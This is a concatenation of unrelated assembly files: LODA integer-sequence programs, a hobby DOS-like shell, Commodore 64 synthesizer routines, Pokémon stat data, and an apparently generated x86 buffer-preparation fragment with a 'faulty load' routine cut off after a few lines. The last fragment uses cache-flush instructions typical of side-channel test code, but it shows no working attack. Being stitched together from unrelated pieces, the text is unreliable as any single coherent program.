div $0,$2
mul $4,-1
add $4,$0
lpe
mov $0,$4
|
; A270456: First differences of number of active (ON,black) cells in n-th stage of growth of two-dimensional cellular automaton defined by "Rule 163", based on the 5-celled von Neumann neighborhood.
; 4,4,24,-8,60,-36,112,-80,180,-140,264,-216,364,-308,480,-416,612,-540,760,-680,924,-836,1104,-1008,1300,-1196,1512,-1400,1740,-1620,1984,-1856,2244,-2108,2520,-2376,2812,-2660,3120,-2960,3444,-3276,3784,-3608,4140,-3956,4512,-4320,4900,-4700,5304,-5096,5724,-5508,6160,-5936,6612,-6380,7080,-6840,7564,-7316,8064,-7808,8580,-8316,9112,-8840,9660,-9380,10224,-9936,10804,-10508,11400,-11096,12012,-11700,12640,-12320,13284,-12956,13944,-13608,14620,-14276,15312,-14960,16020,-15660,16744,-16376,17484,-17108,18240,-17856,19012,-18620,19800,-19400,20604,-20196,21424,-21008,22260,-21836,23112,-22680,23980,-23540,24864,-24416,25764,-25308,26680,-26216,27612,-27140,28560,-28080,29524,-29036,30504,-30008,31500,-30996,32512,-32000
mov $1,-2
bin $1,$0
mul $1,$0
add $1,$0
add $1,$0
div $1,2
mul $1,4
add $1,4
|
; SYS-DOS 1.0.2 Alpha Written by Aiden Moechnig 9/19/2021
;=========================================================== START
mov ax, 0
mov bx, 0
mov cx, 0
mov dx, 0
call string1
call new
;=========================================================== MAIN LOOP
main:
mov ah, 0x02
mov dl, bl
mov dh, cl
int 10
mov ah, 0x00
int 16h
cmp al, 'v'
je cmdv
cmp al, 'b'
je cmdb
cmp al, 'c'
je cmdc
cmp al, 'd'
je cmdd
cmp al, 'f'
je cmdf
cmp al, 'h'
je cmdh
jmp main
;=========================================================== COMMANDS
;-------------------- COMMAND V
cmdv:
mov al, 'V'
call lettergen
call linefeed
call string4
call new
jmp main
;-------------------- COMMAND B
cmdb:
mov al, 'B'
call lettergen
call linefeed
call string6
mov ch, 0
mov cl, 7
mov ah, 1
int 10h
call new
jmp main
;-------------------- COMMAND C
cmdc:
mov ah,06h ;clear screen instruction
mov al,00h ;number of lines to scroll
mov bh,0Fh ;display attribute - colors
mov ch,00d ;start row
mov cl,00d ;start col
mov dh,24d ;end of row
mov dl,79d ;end of col
int 10h ;BIOS interrupt
mov dh, 0
mov dl, 0
mov bh, 0
mov ah, 2
int 0x10
call new
jmp main
;-------------------- COMMAND D
cmdd:
mov al, 'D'
call lettergen
call linefeed
call string8
int 0x11
mov cx, ax
or cl, 111111b
not cl
cmp cl, 192d
je _1disk
cmp cl, 128d
je _2disk
cmp cl, 64d
je _3disk
cmp cl, 0d
je _4disk
jmp main
_finishdisk:
call lettergen
call new
jmp main
_1disk:
mov al, '1'
jmp _finishdisk
_2disk:
mov al, '2'
jmp _finishdisk
_3disk:
mov al, '3'
jmp _finishdisk
_4disk:
mov al, '4'
jmp _finishdisk
jmp main
;-------------------- COMMAND F
cmdf:
mov al, 'F'
call lettergen
call linefeed
call string5
mov ch, 6
mov cl, 7
mov ah, 1
int 10h
call new
jmp main
;-------------------- COMMAND H
cmdh:
mov al, 'H'
call lettergen
call linefeed
call string7
call new
jmp main
;=========================================================== ROUTINES
;-------------------- ROUTINE new command entry
new:
call linefeed
call linefeed
mov al, 's'
call lettergen
mov al, 'y'
call lettergen
mov al, 's'
call lettergen
mov al, '>'
call lettergen
ret
;-------------------- ROUTINE lettergen
lettergen:
mov ah, 0x0e
int 10h
ret
;-------------------- ROUTINE line feed
linefeed:
mov cl, dh
mov ah, 2
int 0x10
mov al, 0x0a
call lettergen
add cl, 1
mov dh, cl
mov dl, 0
mov ah, 2
int 0x10
ret
;=========================================================== STRINGS
;-------------------- STRING1 "READY"
string1:
mov al, ' '
call lettergen
mov al, 'R'
call lettergen
mov al, 'E'
call lettergen
mov al, 'A'
call lettergen
mov al, 'D'
call lettergen
mov al, 'Y'
call lettergen
ret
;-------------------- STRING4
string4:
mov al, 'v'
call lettergen
mov al, 'e'
call lettergen
mov al, 'r'
call lettergen
mov al, ' '
call lettergen
mov al, '1'
call lettergen
mov al, '.'
call lettergen
mov al, '0'
call lettergen
mov al, '.'
call lettergen
mov al, '2'
call lettergen
mov al, ' '
call lettergen
mov al, 'a'
call lettergen
mov al, 'l'
call lettergen
mov al, 'p'
call lettergen
mov al, 'h'
call lettergen
mov al, 'a'
call lettergen
ret
;-------------------- STRING5 "Cursor set to flat"
string5:
mov al, 'C'
call lettergen
mov al, 'u'
call lettergen
mov al, 'r'
call lettergen
mov al, 's'
call lettergen
mov al, 'o'
call lettergen
mov al, 'r'
call lettergen
mov al, ' '
call lettergen
mov al, 's'
call lettergen
mov al, 'e'
call lettergen
mov al, 't'
call lettergen
mov al, ' '
call lettergen
mov al, 't'
call lettergen
mov al, 'o'
call lettergen
mov al, ' '
call lettergen
mov al, 'f'
call lettergen
mov al, 'l'
call lettergen
mov al, 'a'
call lettergen
mov al, 't'
call lettergen
ret
;-------------------- STRING6 "Cursor set to box"
string6:
mov al, 'C'
call lettergen
mov al, 'u'
call lettergen
mov al, 'r'
call lettergen
mov al, 's'
call lettergen
mov al, 'o'
call lettergen
mov al, 'r'
call lettergen
mov al, ' '
call lettergen
mov al, 's'
call lettergen
mov al, 'e'
call lettergen
mov al, 't'
call lettergen
mov al, ' '
call lettergen
mov al, 't'
call lettergen
mov al, 'o'
call lettergen
mov al, ' '
call lettergen
mov al, 'b'
call lettergen
mov al, 'o'
call lettergen
mov al, 'x'
call lettergen
ret
;-------------------- STRING7 "[B] boxcsr, [D] # of flpydsk drives, [F] flatcsr, [M] chk for math co-p [V] version"
string7:
mov al, '['
call lettergen
mov al, 'C'
call lettergen
mov al, ']'
call lettergen
mov al, ' '
call lettergen
mov al, 'c'
call lettergen
mov al, 'l'
call lettergen
mov al, 'e'
call lettergen
mov al, 'a'
call lettergen
mov al, 'r'
call lettergen
mov al, ' '
call lettergen
mov al, 's'
call lettergen
mov al, 'c'
call lettergen
mov al, 'r'
call lettergen
mov al, 'e'
call lettergen
mov al, 'e'
call lettergen
mov al, 'n'
call lettergen
call linefeed
mov al, '['
call lettergen
mov al, 'B'
call lettergen
mov al, ']'
call lettergen
mov al, ' '
call lettergen
mov al, 'b'
call lettergen
mov al, 'o'
call lettergen
mov al, 'x'
call lettergen
mov al, ' '
call lettergen
mov al, 'c'
call lettergen
mov al, 'u'
call lettergen
mov al, 'r'
call lettergen
mov al, 's'
call lettergen
mov al, 'o'
call lettergen
mov al, 'r'
call lettergen
call linefeed
mov al, '['
call lettergen
mov al, 'D'
call lettergen
mov al, ']'
call lettergen
mov al, ' '
call lettergen
mov al, '#'
call lettergen
mov al, ' '
call lettergen
mov al, 'o'
call lettergen
mov al, 'f'
call lettergen
mov al, ' '
call lettergen
mov al, 'f'
call lettergen
mov al, 'l'
call lettergen
mov al, 'o'
call lettergen
mov al, 'p'
call lettergen
mov al, 'p'
call lettergen
mov al, 'y'
call lettergen
mov al, ' '
call lettergen
mov al, 'd'
call lettergen
mov al, 'i'
call lettergen
mov al, 's'
call lettergen
mov al, 'k'
call lettergen
mov al, ' '
call lettergen
mov al, 'd'
call lettergen
mov al, 'r'
call lettergen
mov al, 'i'
call lettergen
mov al, 'v'
call lettergen
mov al, 'e'
call lettergen
mov al, 's'
call lettergen
call linefeed
mov al, '['
call lettergen
mov al, 'F'
call lettergen
mov al, ']'
call lettergen
mov al, ' '
call lettergen
mov al, 'f'
call lettergen
mov al, 'l'
call lettergen
mov al, 'a'
call lettergen
mov al, 't'
call lettergen
mov al, ''
call lettergen
mov al, 'c'
call lettergen
mov al, 'u'
call lettergen
mov al, 'r'
call lettergen
mov al, 's'
call lettergen
mov al, 'o'
call lettergen
mov al, 'r'
call lettergen
call linefeed
mov al, '['
call lettergen
mov al, 'V'
call lettergen
mov al, ']'
call lettergen
mov al, ' '
call lettergen
mov al, 'v'
call lettergen
mov al, 'e'
call lettergen
mov al, 'r'
call lettergen
mov al, 's'
call lettergen
mov al, 'i'
call lettergen
mov al, 'o'
call lettergen
mov al, 'n'
call lettergen
ret
;-------------------- STRING8 "# of flpydsk drives: "
string8:
mov al, '#'
call lettergen
mov al, ' '
call lettergen
mov al, 'o'
call lettergen
mov al, 'f'
call lettergen
mov al, ' '
call lettergen
mov al, 'f'
call lettergen
mov al, 'l'
call lettergen
mov al, 'o'
call lettergen
mov al, 'p'
call lettergen
mov al, 'p'
call lettergen
mov al, 'y'
call lettergen
mov al, ' '
call lettergen
mov al, 'd'
call lettergen
mov al, 'i'
call lettergen
mov al, 's'
call lettergen
mov al, 'k'
call lettergen
mov al, ' '
call lettergen
mov al, 'd'
call lettergen
mov al, 'r'
call lettergen
mov al, 'i'
call lettergen
mov al, 'v'
call lettergen
mov al, 'e'
call lettergen
mov al, 's'
call lettergen
mov al, ':'
call lettergen
mov al, ' '
call lettergen
ret
;-------------------- STRING9 "Math co-p present: "
string9:
mov al, 'M'
call lettergen
mov al, 'a'
call lettergen
mov al, 't'
call lettergen
mov al, 'h'
call lettergen
mov al, ' '
call lettergen
mov al, 'c'
call lettergen
mov al, 'o'
call lettergen
mov al, '-'
call lettergen
mov al, 'p'
call lettergen
mov al, ' '
call lettergen
mov al, 'p'
call lettergen
mov al, 'r'
call lettergen
mov al, 'e'
call lettergen
mov al, 's'
call lettergen
mov al, 'e'
call lettergen
mov al, 'n'
call lettergen
mov al, 't'
call lettergen
mov al, ':'
call lettergen
mov al, ' '
call lettergen
ret |
;-------------------------------------------
; new key-based set functions
;-------------------------------------------
ksavePatch
lda #1
sta customPatchSaved
;-------------------
lda #SAVED_PATCH_MESSAGE
sta patchSetY
jsr showPatchName
;----------------
ldx #$19
saveLoop:
lda sidData,x
sta sidSaveData,x
dex
bpl saveLoop
;----------------
lda paddle
sta savePaddle
lda octave
sta saveOctave
lda soundMode
sta saveSoundMode
lda fxType
sta saveFXType
lda arpSpeed
sta saveArpSpeed
lda LFODepth
sta saveLFODepth
lda LFORate
sta saveLFORate
lda volume
sta saveVolume
lda volModeRAM
sta saveVolMode
lda filter
sta saveFilter
;----------------
rts
kloadPatch
; don't load patch if none has been saved
lda customPatchSaved
bne contLoadPatch
rts
contLoadPatch:
; Maybe show this name with direct text instead?...
;lda #SAVED_PATCH_MESSAGE
;sta patchSetY
;jsr showPatchName
;----------------
lda #CUSTOM_PATCH_NUMBER
sta patchSetY
jsr showPatchName
;-----------------------
lda saveVolMode
sta volModeRAM
;.....................
lda saveVolume
sta volume
;.....................
lda savePaddle
jsr setPaddles
;.....................
lda saveOctave
jsr setOctave
;.....................
lda saveSoundMode
sta soundMode
;lda saveArpSpeed
jsr setMode
;.....................
lda saveFXType
sta fxType
jsr setFX
;.....................
lda saveLFODepth
jsr setLFODepth
;.....................
lda saveLFORate
jsr setLFORate
;.....................
lda saveFilter
sta filter
;----------------
ldx #$19
loadLoop:
lda sidSaveData,x
sta SID1,x
sta SID2,x
sta sidData,x
dex
bpl loadLoop
;----------------
lda sidData+SV1WAVE
sta WaveType
lda sidData+SV2WAVE
sta WaveType2
lda sidData+SV3WAVE
sta WaveType3
;----------------
rts
khelp
; PREVENT MESSING UP FILTER (WHY IS THIS NEEDED?)
lda filterSetValue
sta sidEditSaveTemp1
lda #0
sta 53280 ; CLEAR RED ERROR BACKGROUND IF SHOWN
jsr clrScr
lda #KEYTIME
sta keyTimer
lda helpMode
eor #1
;sta helpMode
jsr setHelpMode
jsr displayInit
lda helpMode
beq showHelpMessage
;---------------
; Show full help page...
ldx #>normalHelp ;low/MSB
ldy #<normalHelp ;high/LSB
jsr displayPage ; <--- Draw full help page
; PREVENT MESSING UP FILTER (WHY IS THIS NEEDED?)
lda sidEditSaveTemp1
sta filterSetValue
rts
; \/ Show help message at bottom of screen
showHelpMessage:
; Show help key...
ldx #0
helpMessageLoop:
lda helpMessage,x
beq endHelpMsgLoop
cmp #64
bmi showSpace99
sbc #64
showSpace99
sta 1024+24*40,x
lda #11
sta 55296+24*40,x ; color non-static text
inx
bne helpMessageLoop
endHelpMsgLoop:
jsr showMidiMode
; jsr displayInit
; PREVENT MESSING UP FILTER (WHY IS THIS NEEDED?)
lda sidEditSaveTemp1
sta filterSetValue
; ldx #39
; lda #32
;clearLastRow:
; sta 1024+23*40,x
; dex
; bpl clearLastRow
rts
kclearModulation
lda #0
jsr ksetFX
lda #0
jsr setLFODepth
lda #0
jmp setLFORate
;ksetBlackBG
; lda #0
; sta 53281
; sta 53280
; rts
;ksetBlueBG
; lda #6
; sta 53281
; lda #14
; sta 53280
; rts
ksetPalNtsc:
sta NTSCmode
jmp displayInit
; bend the bender down
bendBender:
lda bender
cmp #252
beq notBender
inc bender
inc bender
inc bender
inc bender
lda #1
sta benderAutoreset
notBender:
rts
; set VIC video chip mode
setVIC:
sta VICMode
rts
; set paddle on/off
ksetPaddles:
jsr setPaddles
lda filter
sta filterSetValue
;jmp setFilter
rts
ksetPad2:
sta paddle2
cmp #0
beq skipLastPadSave
sta lastPad2 ; save last pad2 setting (other than "OFF")
skipLastPadSave
asl
asl
clc
adc #PAD2VALTEXT ; add in offset into value text array
tax
ldy #PAD2TEXT ; screen position
jmp updateText
ksetFilter:
ldx #0
stx paddle ; turn off paddle controller first (why?)
;jsr setFilter
sta filterSetValue
lda #0
jmp setPaddles
;------------------
; Set pulse width
;------------------
; MIDI CONTROLLER <- 1 1 1 1 1 1 1
; PULSE WIDTH 1 1 1 1 1 1 1 1 1 1 1 1
; -----------------------------------------------
setPulseWidth:
; write pulse high byte
tax
lsr
lsr
lsr
lsr
;sta 1025+40 ; DEBUG!
sta SID1+SV1PWH
sta SID1+SV2PWH
sta SID1+SV3PWH
sta SID2+SV1PWH
sta SID2+SV2PWH
sta SID2+SV3PWH
sta sidData+SV1PWH
sta sidData+SV2PWH
sta sidData+SV3PWH
; write pulse low byte
txa
asl
asl
asl
asl
;asl ; extra ?
ora #$0F
;sta 1024+40 ; DEBUG!
sta SID1+SV1PWL
sta SID1+SV2PWL
sta SID1+SV3PWL
sta SID2+SV1PWL
sta SID2+SV2PWL
sta SID2+SV3PWL
sta sidData+SV1PWL
sta sidData+SV2PWL
sta sidData+SV3PWL
rts
;setAllOscillators:
;sta SID1+0,y
;sta SID1+7,y
;sta SID1+14,y
;sta SID2+0,y
;sta SID2+7,y
;sta SID2+14,y
;sta sidData+0,y
;sta sidData+7,y
;sta sidData+14,y
;rts
kfiltOnOff:
sty filterStatus
setResonance:
ldy filterStatus
;------------------
;lda sidData+SFILTC
lda resonance
ora filtOrValue,y
and filtAndValue,y
sta SID1+SFILTC
sta sidData+SFILTC
;------------------
lda sidData+SFILTC
ora filtOrValue,y
and filtAndValue,y
sta SID2+SFILTC
;------------------
lda filtDisableValue,y
sta filterDisable
;------------------
showFiltOnOff:
lda filtTextValue,y
tax
ldy #FILTERTEXT2
jmp updateText
filtOrValue:
byte $0F,0,0
filtAndValue:
byte $FF,$F0,$F0
filtDisableValue:
byte 0,0,1
filtTextValue:
byte 4,0,DISABLED
ksetTune:
sty tuneSetting
tya
sec
sbc #4
sta systemTuning ; Store value in +/- cents for master tuning
;lda tuneArrPtrLL,y
;sta tunePtrL
;lda tuneArrPtrLH,y
;sta tunePtrL+1
;lda tuneArrPtrHL,y
;sta tunePtrH
;lda tuneArrPtrHH,y
;sta tunePtrH+1
tya
asl
asl
clc
adc #TUNING
tax
ldy #TUNINGTEXT
jmp updateText
setFullScreenMode:
sta fullScreenMode
cmp #0
beq notFullScreen
;--------
lda #<(PTRNTEXTBASE)
sta lowTextPtr
lda #>(PTRNTEXTBASE)
sta lowTextPtr+1
lda #<(PTRNCOLORBASE)
sta lowColorPtr
lda #>(PTRNCOLORBASE)
sta lowColorPtr+1
rts
;--------
notFullScreen:
lda #<(PTRNTEXTBASE+200)
sta lowTextPtr
lda #>(PTRNTEXTBASE+200)
sta lowTextPtr+1
lda #<(PTRNCOLORBASE+200)
sta lowColorPtr
lda #>(PTRNCOLORBASE+200)
sta lowColorPtr+1
jsr displayInit
rts
setHelpMode:
sta helpMode
rts
;--------------------------------
; Set Video Mode
;--------------------------------
setVideoMode
sta videoMode
sty videoText
tya
clc
adc #"0"
sta 1024+VIDEOTEXT
rts
;--------------------------------
; Set Paddles
;--------------------------------
setPaddles
sta paddle
asl
bne noFilterReset
ldx filter
stx SID1+SFILTH
stx SID2+SFILTH
sta sidData+SFILTH
noFilterReset:
ldy #0
sty paddleTop
sty paddleBottom
showPaddle:
asl
tax
ldy #PADDLETEXT
jmp updateText
;--------------------------------
; Set LFO Depth
;--------------------------------
setLFODepth
sta LFODepth
;showLFO:
ldy helpMode
beq doShowLFO
rts
doShowLFO:
ldy #LFODEPTHTEXT
clc
adc #"0"
sta 1024,y
lda #32
ldx #8
rts
;--------------------------------
; Set LFO Rate
;--------------------------------
setLFORate
sta LFORate
showLFORate:
ldy helpMode
beq doShowLFORate
rts
doShowLFORate:
ldy #LFORATETEXT
clc
adc #"0"
sta 1024,y
;lda #32
lda #CYNTHCART_COLOR
ldx #8
LFOClear:
;sta 1064,x
sta 55296,x
dex
bpl LFOClear
rts
;--------------------------------
; Set Release for each OSC2 indpendently
;--------------------------------
; A = release OSC2 value
setReleaseOSC2:
;sta release
sta SID1+SV2SR
sta SID2+SV2SR
sta sidData+SV2SR
rts
;jmp showRelease
;----------------
;--------------------------------
; Set Release for each OSC3 indpendently
;--------------------------------
; A = release OSC2 value
setReleaseOSC3:
;sta release
sta SID1+SV3SR
sta SID2+SV3SR
sta sidData+SV3SR
rts
;jmp showRelease
;----------------
;--------------------------------
; Set Release
;--------------------------------
; A = release OSC1 value
; X = release OSC2 value
; Y = release OSC3 value
setRelease:
sta release
sta SID1+SV1SR
sta SID1+SV2SR
sta SID1+SV3SR
sta SID2+SV1SR
sta SID2+SV2SR
sta SID2+SV3SR
sta sidData+SV1SR
sta sidData+SV2SR
sta sidData+SV3SR
;----------------
showRelease:
ldy helpMode
beq doShowRelease
rts
doShowRelease:
and #$0F
tay
lda sixteenToTen,y
clc
adc #"0"
sta 1024+RELTEXT
rts
ldy #RELTEXT
lda #REL_SHORT
cmp release
bmi notRel0
lda #"0"
jmp setReleaseText
notRel0:
lda #REL_MED
cmp release
bmi notRel1
lda #"1"
jmp setReleaseText
notRel1:
lda #"2"
setReleaseText:
sta 1024,y
rts
sixteenToTen:
byte 0,1,1,2, 3,3,4,4, 5,5,6,6, 7,8,8,9
setMidiMode:
sta midiMode
showMidiMode:
lda #47
sta 2017
lda midiEnabled
bne doShowMidiMode
rts
doShowMidiMode:
lda #47
sta 2012
sta 2007
ldx midiMode
bmi showOmni
;sta 2010
showChannel:
lda #32
sta 2008
lda #3
sta 2009
lda #8
sta 2010
lda #49
clc
adc midiMode
sta 2011
rts
showOmni:
lda #15
sta 2008
lda #13
sta 2009
lda #14
sta 2010
lda #9
sta 2011
jsr showAdapter
rts
;--------------------------------
; Set Attack
;--------------------------------
; A = Attack value
setAttack:
sta attack
sta SID1+SV2AD
sta SID1+SV3AD
sta SID2+SV2AD
sta SID2+SV3AD
sta SID1+SV1AD
sta SID2+SV1AD
sta sidData+SV2AD
sta sidData+SV3AD
sta sidData+SV1AD
;----------------
showAttack:
ldy helpMode
beq doShowAttack
rts
doShowAttack:
lsr
lsr
lsr
lsr
tay
lda sixteenToTen,y
clc
adc #"0"
sta 1024+ATKTEXT
rts
;-----------------------------------
; Set Volume to A (for key command)
;-----------------------------------
ksetVolume
sta volume
;-----------------------------------
; Set Volume
;-----------------------------------
setVolume
lda volModeRAM
and #$F0
ora volume
sta SID1+SVOLMODE
sta SID2+SVOLMODE
sta sidData+SVOLMODE
showVolume:
ldy helpMode
beq doShowVolume
rts
doShowVolume:
and #$0F
tax
lda sixteenToTen,x
clc
adc #"0"
sta 1024+VOLTEXT
rts
tax
lda sixteenToTen,x
tax
ldy #VOLTEXT
lda #VOLLOW
jsr updateText
rts
; set volume text
ldy #VOLTEXT
lda #VOLLOW
cmp volume
bmi notLow
ldx #VLOW
jmp updateText
notLow
lda #VOLMED
cmp volume
bmi notMed
ldx #VMED
jmp updateText
notMed
ldx #VHIGH
jmp updateText
;-------------------------------------
;-----------------------------------
; Set Octave
;-----------------------------------
setOctave
sta octave
tax
lda octaveTable,x
sta keyOffset
showOctave:
ldy helpMode
beq doShowOctave
rts
doShowOctave:
txa
clc
adc #"0"
tax
sta 1024+OCTAVETEXT
rts
;-----------------------------------
; Set Filter
;-----------------------------------
setFilter
sta SID1+SFILTH
sta SID2+SFILTH
sta sidData+SFILTH
sta filter
showFilter:
ldy helpMode
beq testFullScreenMode
;beq doShowFilter
rts
testFullScreenMode:
ldy fullScreenMode
beq doShowFilter
rts
doShowFilter:
lsr
lsr
lsr
lsr
lsr
clc
adc #"0"
endFilter:
sta 1024+FILTERTEXT
rts
;-----------------------------------
; Set Midi mode
;-----------------------------------
showAdapter:
; Draw name of new sound mode on screen...
lda midiEnabled
asl
asl
asl
;lda modeNameOffsets,x
;lda fxNames,x
tax
ldy #0
drawMidiModeLoop:
;lda modeNamesPolyphony,x
lda midiModeNames,x
cmp #64
bmi showSpaceZMidiMode
sbc #64
showSpaceZMidiMode:
sta 1024+40*24+15,y
inx
iny
cpy #8
bne drawMidiModeLoop
; - - - - -
;inx ; Get polyphony value at end of name string...
;inx
;lda modeNamesPolyphony,x
;sta polyphony
;lda #8
;sta bufferSize
rts
;-----------------------------------
; Set FX mode with A,Y (for key command)
;-----------------------------------
ksetFX
sta fxType
;-----------------------------------
; Set FX mode
;-----------------------------------
setFX
lda helpMode
beq doShowFX
rts
doShowFX:
;lda fxType
; Draw name of new sound mode on screen...
lda fxType
asl
asl
asl
;lda modeNameOffsets,x
;lda fxNames,x
tax
ldy #0
drawModeLoopFX:
;lda modeNamesPolyphony,x
lda fxNames,x
cmp #64
bmi showSpaceZFX
sbc #64
showSpaceZFX:
sta 1024+FXTEXT,y
inx
iny
cpy #5
bne drawModeLoopFX
; - - - - -
;inx ; Get polyphony value at end of name string...
;inx
;lda modeNamesPolyphony,x
;sta polyphony
;lda #8
;sta bufferSize
rts
portSpeedTable
byte 6,7,9
;byte 5,7,9
;-----------------------------------
; set port with A,Y (for key command)
;-----------------------------------
ksetMode
;sta portOn
sta soundMode
;sty portSpd
; . . . . . . . . . .
;-----------------------------------
; Set sound mode
;-----------------------------------
setMode
showModeName:
ldy helpMode
beq doShowModeName
rts
doShowModeName:
lda soundMode ; This probably needs work
; Draw name of new sound mode on screen...
ldx soundMode
lda modeNameOffsets,x
tax
ldy #0
drawModeLoop:
lda modeNamesPolyphony,x
cmp #64
bmi showSpaceZ
sbc #64
showSpaceZ
sta 1024+MODETEXT,y
inx
iny
cpy #5
bne drawModeLoop
; - - - - -
inx ; Get polyphony value at end of name string...
inx
lda modeNamesPolyphony,x
sta polyphony
lda #8
sta bufferSize
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;sta 1024+161 ;DEBUG
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; set up pointer to portamento speed array
; (which is the tuning array)
;lda portSpd
;clc
;adc #4
; New version of code above...
lda soundMode
and #$0F ; Get portamento speed
tay
lda portSpeedTable,y
;clc
;asl ; X2
;adc #5
tay
; ldy #5 ; portSpd DEBUG
lda tuneArrPtrLL,y
sta portPtrL
lda tuneArrPtrLH,y
sta portPtrL+1
lda tuneArrPtrHL,y
sta portPtrH
lda tuneArrPtrHH,y
sta portPtrH+1
rts
;----------------------------------------
; subroutine to set up patch
; (patch # stored in Y)
;----------------------------------------
setPatch
sty patchSetY
lda patchVol,y
sta volume
lda patchPaddle,y
jsr setPaddles
;.....................
jsr midiPanic
;.....................
; Reset modulation values
lda #127
sta filterModValue
sta pwModValue
ldy patchSetY
lda newPatchFiltCut,y
sta filterSetValue
;jsr setFilter
;lda patchFilt,y
;sta SID1+SV1PWL
ldy patchSetY
lda patchSoundMode,y
sta soundMode
jsr setMode
ldy patchSetY
lda patchPWL,y
sta SID1+SV1PWL
sta SID1+SV2PWL
sta SID1+SV3PWL
sta SID2+SV1PWL
sta SID2+SV2PWL
sta SID2+SV3PWL
sta sidData+SV1PWL
sta sidData+SV2PWL
sta sidData+SV3PWL
ldy patchSetY
lda patchPWH,y
sta SID1+SV1PWH
sta SID1+SV2PWH
sta SID1+SV3PWH
sta SID2+SV1PWH
sta SID2+SV2PWH
sta SID2+SV3PWH
sta sidData+SV1PWH
sta sidData+SV2PWH
sta sidData+SV3PWH
ldy patchSetY
lda patchWave1,y
sta WaveType
lda patchWave2,y
sta WaveType2
lda patchWave3,y
sta WaveType3
ldy patchSetY
lda patchLFO,y
and #$0F
sty temp
jsr setLFORate
ldy temp
lda patchLFO,y
and #$F0
lsr
lsr
lsr
lsr
;lda #2
jsr setLFODepth
ldy temp
lda patchAD,y
;lda #0 ; DEBUG!!!!!!!!!!!!!!!!!!!!!!!!
;lda #$F0
jsr setAttack
ldy patchSetY
ldy temp
lda patchSR1,y
jsr setRelease
ldy temp
lda patchSR2,y
jsr setReleaseOSC2
lda patchSR3,y
jsr setReleaseOSC3
ldy patchSetY
lda patchFilt,y
ldx filterDisable
beq skipFilterDisable
and #$F0
skipFilterDisable:
sta SID1+SFILTC
sta SID2+SFILTC
sta sidData+SFILTC
and #$01
beq skipFilterOnText
ldy #FILTERTEXT2
ldx #4
jsr updateText
skipFilterOnText
ldy patchSetY
lda patchVolMode,y
and #$F0
ora volume
sta volModeRAM
jsr setVolume
ldy patchSetY
lda patchOctave,y
jsr setOctave
ldy patchSetY
lda patchFX,y
sta fxType
jsr setFX
jsr showPatchName
rts
;------------------------ end of setpatch
showPatchName:
lda helpMode
beq doShowPatchName
rts
doShowPatchName:
lda patchSetY
and #%11110000
bne patchNameSecondBank
;tay
ldy patchSetY
iny
tya
asl
asl
asl
asl
tay
dey
ldx #15
patchText:
lda patchName,y
cmp #64
bmi pshowSpace
sec
sbc #64
pshowSpace:
sta 1024+PATCHTEXT,x
dey
dex
bpl patchText
rts
patchNameSecondBank:
;tay
ldy patchSetY
iny
tya
asl
asl
asl
asl
tay
dey
ldx #15
patchText2:
lda patchName2,y
cmp #64
bmi pshowSpace2
sec
sbc #64
pshowSpace2:
sta 1024+PATCHTEXT,x
dey
dex
bpl patchText2
rts
|
db 0 ; species ID placeholder
db 70, 110, 70, 90, 115, 70
; hp atk def spd sat sdf
db FIGHTING, FIGHTING ; type
db 45 ; catch rate
db 184 ; base exp
db NO_ITEM, NO_ITEM ; items
db GENDER_F12_5 ; gender ratio
db 25 ; step cycles to hatch
INCBIN "gfx/pokemon/lucario/front.dimensions"
db GROWTH_MEDIUM_SLOW ; growth rate
dn EGG_GROUND, EGG_HUMANSHAPE ; egg groups
db 70 ; happiness
; tm/hm learnset
tmhm FOCUS_PUNCH, WATER_PULSE, CALM_MIND, ROAR, TOXIC, BULK_UP, HIDDEN_POWER, SUNNY_DAY, HYPER_BEAM, PROTECT, RAIN_DANCE, FRUSTRATION, IRON_TAIL, EARTHQUAKE, RETURN, DIG, PSYCHIC_M, SHADOW_BALL, BRICK_BREAK, DOUBLE_TEAM, ROCK_TOMB, FACADE, SECRET_POWER, REST, ATTRACT, FOCUS_BLAST, FLING, ENDURE, DRAGON_PULSE, DRAIN_PUNCH, SHADOW_CLAW, PAYBACK, GIGA_IMPACT, STONE_EDGE, SWORDS_DANCE, CAPTIVATE, DARK_PULSE, ROCK_SLIDE, SLEEP_TALK, NATURAL_GIFT, POISON_JAB, SWAGGER, SUBSTITUTE, FLASH_CANNON, STRENGTH, ROCK_SMASH, ROCK_CLIMB, FURY_CUTTER, HELPING_HAND, ICE_PUNCH, IRON_DEFENSE, MAGNET_RISE, MUD_SLAP, SNORE, SWIFT, THUNDERPUNCH, VACUUM_WAVE, ZEN_HEADBUTT
; end
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r15
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0xd0c, %r15
xor $7191, %r11
mov (%r15), %r13
nop
nop
nop
add %rdx, %rdx
lea addresses_WC_ht+0x1d28c, %rsi
lea addresses_WC_ht+0x4864, %rdi
add $25763, %rdx
mov $15, %rcx
rep movsw
nop
nop
nop
sub $1305, %r15
lea addresses_WT_ht+0x66cc, %rsi
lea addresses_WT_ht+0x177cc, %rdi
nop
nop
sub %rbx, %rbx
mov $106, %rcx
rep movsl
nop
mfence
lea addresses_normal_ht+0x8cec, %rdx
nop
dec %r13
mov $0x6162636465666768, %rdi
movq %rdi, (%rdx)
sub $34520, %rcx
lea addresses_A_ht+0x300c, %rsi
lea addresses_WC_ht+0x4e4c, %rdi
nop
nop
sub $39453, %r15
mov $103, %rcx
rep movsw
nop
nop
nop
nop
dec %rcx
lea addresses_UC_ht+0x1260, %rcx
nop
nop
nop
nop
xor %r15, %r15
movups (%rcx), %xmm0
vpextrq $1, %xmm0, %rdx
add %r15, %r15
lea addresses_normal_ht+0x13ccc, %rsi
lea addresses_WC_ht+0x1dac, %rdi
nop
nop
nop
nop
lfence
mov $25, %rcx
rep movsb
sub $18455, %r11
lea addresses_WT_ht+0x1cecc, %r15
nop
nop
nop
and $30139, %r13
mov $0x6162636465666768, %rdx
movq %rdx, %xmm1
movups %xmm1, (%r15)
nop
and $50296, %rbx
lea addresses_WC_ht+0x8cc, %rsi
lea addresses_normal_ht+0x49c4, %rdi
clflush (%rdi)
nop
nop
nop
xor %r15, %r15
mov $2, %rcx
rep movsw
add %r11, %r11
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r15
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r15
push %rbp
push %rbx
push %rdx
// Store
lea addresses_WT+0x1d6cc, %r11
nop
nop
nop
